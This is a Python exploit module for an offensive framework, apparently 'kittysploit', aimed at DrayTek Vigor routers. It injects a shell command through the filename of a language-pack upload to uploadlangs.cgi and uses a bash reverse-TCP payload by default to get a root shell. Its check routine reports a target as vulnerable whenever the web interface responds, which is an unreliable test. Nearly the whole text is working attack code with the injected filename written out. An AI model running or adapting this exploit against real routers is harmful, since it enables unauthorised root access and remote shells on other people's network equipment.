DrayTek Vigor uploadlangs command injection root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DrayTek Vigor uploadlangs filename command injection root RCE."""

from __future__ import annotations

import uuid

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "DrayTek Vigor uploadlangs command injection root RCE",
        "description": (
            "Authenticated language pack upload: filename passes cgiEscape (only <>&) "
            "then system(mv ...) with ; injection."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["draytek", "vigor", "rce", "authenticated", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/draytek_uploadlangs_cmd_injection_detect"],
            },
        },
    }

    port = OptPort(8080, "Router web port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    upload_path = OptString("/cgi-bin/uploadlangs.cgi", "uploadlangs CGI path", required=False)
    username = OptString("admin", "Web admin user", required=False)
    password = OptString("", "Web admin password", required=True)
    marker_file = OptString("/tmp/m_draytek_02_marker", "Marker path for id proof", required=False)

    def _injected_filename(self, cmd: str) -> str:
        marker = str(self.marker_file or "/tmp/m_draytek_02_marker")
        return f"en.lang; {{ {cmd}; }} > {marker} ; #"

    def execute(self, cmd: str) -> str:
        boundary = "----draytek" + uuid.uuid4().hex[:8]
        fname = self._injected_filename(cmd)
        body = (
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="file"; filename="{fname}"\r\n'
            f"Content-Type: application/octet-stream\r\n\r\n"
            "LANG=1\n"
            f"\r\n--{boundary}--\r\n"
        ).encode("latin-1")
        auth = None
        user = str(self.username or "admin")
        pw = str(self.password or "")
        if pw:
            import base64

            auth = "Basic " + base64.b64encode(f"{user}:{pw}".encode()).decode()
        headers = {"Content-Type": f"multipart/form-data; boundary={boundary}"}
        if auth:
            headers["Authorization"] = auth
        resp = self.http_request(
            "POST",
            str(self.upload_path or "/cgi-bin/uploadlangs.cgi"),
            data=body,
            headers=headers,
            session=True,
        )
        if not resp:
            return "upload POST failed"
        probe = self.http_request("GET", "/tmp/m_draytek_02_marker")
        if probe and "uid=" in (probe.text or ""):
            return (probe.text or "")[:2000]
        return (
            f"upload HTTP {resp.status_code} (blind); verify marker {self.marker_file} "
            f"or use reverse shell"
        )

    def check(self):
        resp = self.http_request("GET", "/")
        if resp and int(resp.status_code or 0) < 500:
            return {"vulnerable": True, "reason": "DrayTek web UI reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "Router web not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set admin password")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("uploadlangs filename injection")
        print_info(self.execute(shell))
        self.vulnerable()
        return True